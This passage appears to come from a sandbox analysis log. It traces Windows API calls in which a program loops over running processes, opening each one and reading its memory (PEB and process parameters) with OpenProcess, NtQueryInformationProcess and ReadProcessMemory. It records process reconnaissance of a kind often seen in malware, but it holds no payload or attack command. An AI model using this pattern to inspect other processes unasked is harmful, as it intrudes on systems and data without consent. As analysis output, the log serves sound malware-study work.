out: _Buffer="3936") returned 0x0 [0192.635] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3936") returned 4 [0192.635] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.635] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf60) returned 0x414 [0192.636] GetLastError () returned 0x0 [0192.636] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.636] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2a8018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.636] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.637] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d70, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.637] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.637] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.637] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.637] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2a8020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.637] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.638] malloc (_Size=0x8c) returned 0xec7200 [0192.638] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xec7200, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7200*, lpNumberOfBytesRead=0x0) returned 1 [0192.638] free (_Block=0xec7200) [0192.638] CloseHandle (hObject=0x414) returned 1 [0192.639] _ui64tow_s (in: _Value=0x840, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2112") returned 0x0 [0192.639] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2112") returned 4 [0192.639] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.639] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.640] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x840) returned 0x0 [0192.640] CloseHandle (hObject=0x0) returned 0 [0192.641] _ui64tow_s (in: _Value=0xee4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0192.641] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3812") returned 4 [0192.641] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.641] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.642] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0x414 [0192.642] GetLastError () returned 0x0 [0192.642] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.642] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x22a018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.642] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.642] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a2490, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.642] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a2118, lpBuffer=0x104c5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.643] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.643] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.643] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x22a020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.643] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a1ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.643] malloc (_Size=0x2c) returned 0xe720f0 [0192.643] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5a216a, lpBuffer=0xe720f0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe720f0*, lpNumberOfBytesRead=0x0) returned 1 [0192.644] free (_Block=0xe720f0) [0192.644] CloseHandle (hObject=0x414) returned 1 [0192.644] _ui64tow_s (in: _Value=0xdec, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3564") returned 0x0 [0192.644] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3564") returned 4 [0192.644] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.644] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdec) returned 0x414 [0192.645] GetLastError () returned 0x0 [0192.645] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.645] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3bd018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.645] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.646] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4824b0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.646] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x482118, lpBuffer=0x104c5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.646] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.646] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.646] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3bd020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.646] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x481ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.647] malloc (_Size=0x52) returned 0xea9e10 [0192.647] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x482168, lpBuffer=0xea9e10, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9e10*, lpNumberOfBytesRead=0x0) returned 1 [0192.647] free (_Block=0xea9e10) [0192.647] CloseHandle (hObject=0x414) returned 1 [0192.648] _ui64tow_s (in: _Value=0xf64, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0192.648] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3940") returned 4 [0192.648] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.648] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.649] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x414 [0192.649] GetLastError () returned 0x0 [0192.649] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.649] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x203018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.649] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.649] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5324b0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.649] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x532118, lpBuffer=0x104c5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.650] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.650] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.650] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x203020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.650] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x531ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.650] malloc (_Size=0x60) returned 0xeb61c0 [0192.650] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x532162, lpBuffer=0xeb61c0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0192.651] free (_Block=0xeb61c0) [0192.651] CloseHandle (hObject=0x414) returned 1 [0192.651] _ui64tow_s (in: _Value=0x2c4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="708") returned 0x0 [0192.651] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="708") returned 3 [0192.651] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.651] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.652] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0 [0192.652] CloseHandle (hObject=0x0) returned 0 [0192.653] _ui64tow_s (in: _Value=0xffc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0192.653] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4092") returned 4 [0192.653] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.653] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.654] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0x414 [0192.654] GetLastError () returned 0x0 [0192.654] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.655] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x328018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.655] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.655] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b2600, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.655] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b2228, lpBuffer=0x104c5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.655] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.656] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.656] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x328020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.656] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b1be0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.656] malloc (_Size=0x70) returned 0xea94a0 [0192.656] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5b2280, lpBuffer=0xea94a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea94a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.656] free (_Block=0xea94a0) [0192.656] CloseHandle (hObject=0x414) returned 1 [0192.657] _ui64tow_s (in: _Value=0xc78, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3192") returned 0x0 [0192.657] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3192") returned 4 [0192.657] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.658] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.658] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x0 [0192.658] CloseHandle (hObject=0x0) returned 0 [0192.659] _ui64tow_s (in: _Value=0x888, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2184") returned 0x0 [0192.659] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2184") returned 4 [0192.659] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.659] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.660] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0x414 [0192.660] GetLastError () returned 0x0 [0192.660] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.660] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x367018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.660] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.660] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5226a0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.661] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5222a8, lpBuffer=0x104c5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.661] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.661] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.661] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x367020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.661] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x521c60, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.661] malloc (_Size=0x7e) returned 0xe87700 [0192.661] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x522308, lpBuffer=0xe87700, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87700*, lpNumberOfBytesRead=0x0) returned 1 [0192.662] free (_Block=0xe87700) [0192.662] CloseHandle (hObject=0x414) returned 1 [0192.662] _ui64tow_s (in: _Value=0x5b8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1464") returned 0x0 [0192.662] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1464") returned 4 [0192.662] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.662] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.663] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b8) returned 0x414 [0192.663] GetLastError () returned 0x0 [0192.663] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.663] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x385018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.664] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.664] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e24f0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.664] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e2118, lpBuffer=0x104c5a0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.664] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.664] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.664] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x385020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.664] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e1ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.665] malloc (_Size=0x68) returned 0xeb6070 [0192.665] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e2168, lpBuffer=0xeb6070, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6070*, lpNumberOfBytesRead=0x0) returned 1 [0192.665] free (_Block=0xeb6070) [0192.665] CloseHandle (hObject=0x414) returned 1 [0192.666] _ui64tow_s (in: _Value=0xc8c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3212") returned 0x0 [0192.666] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="3212") returned 4 [0192.666] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.666] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.667] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc8c) returned 0x414 [0192.667] GetLastError () returned 0x0 [0192.667] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.667] ReadProcessMemory (in: hProcess=0x414, 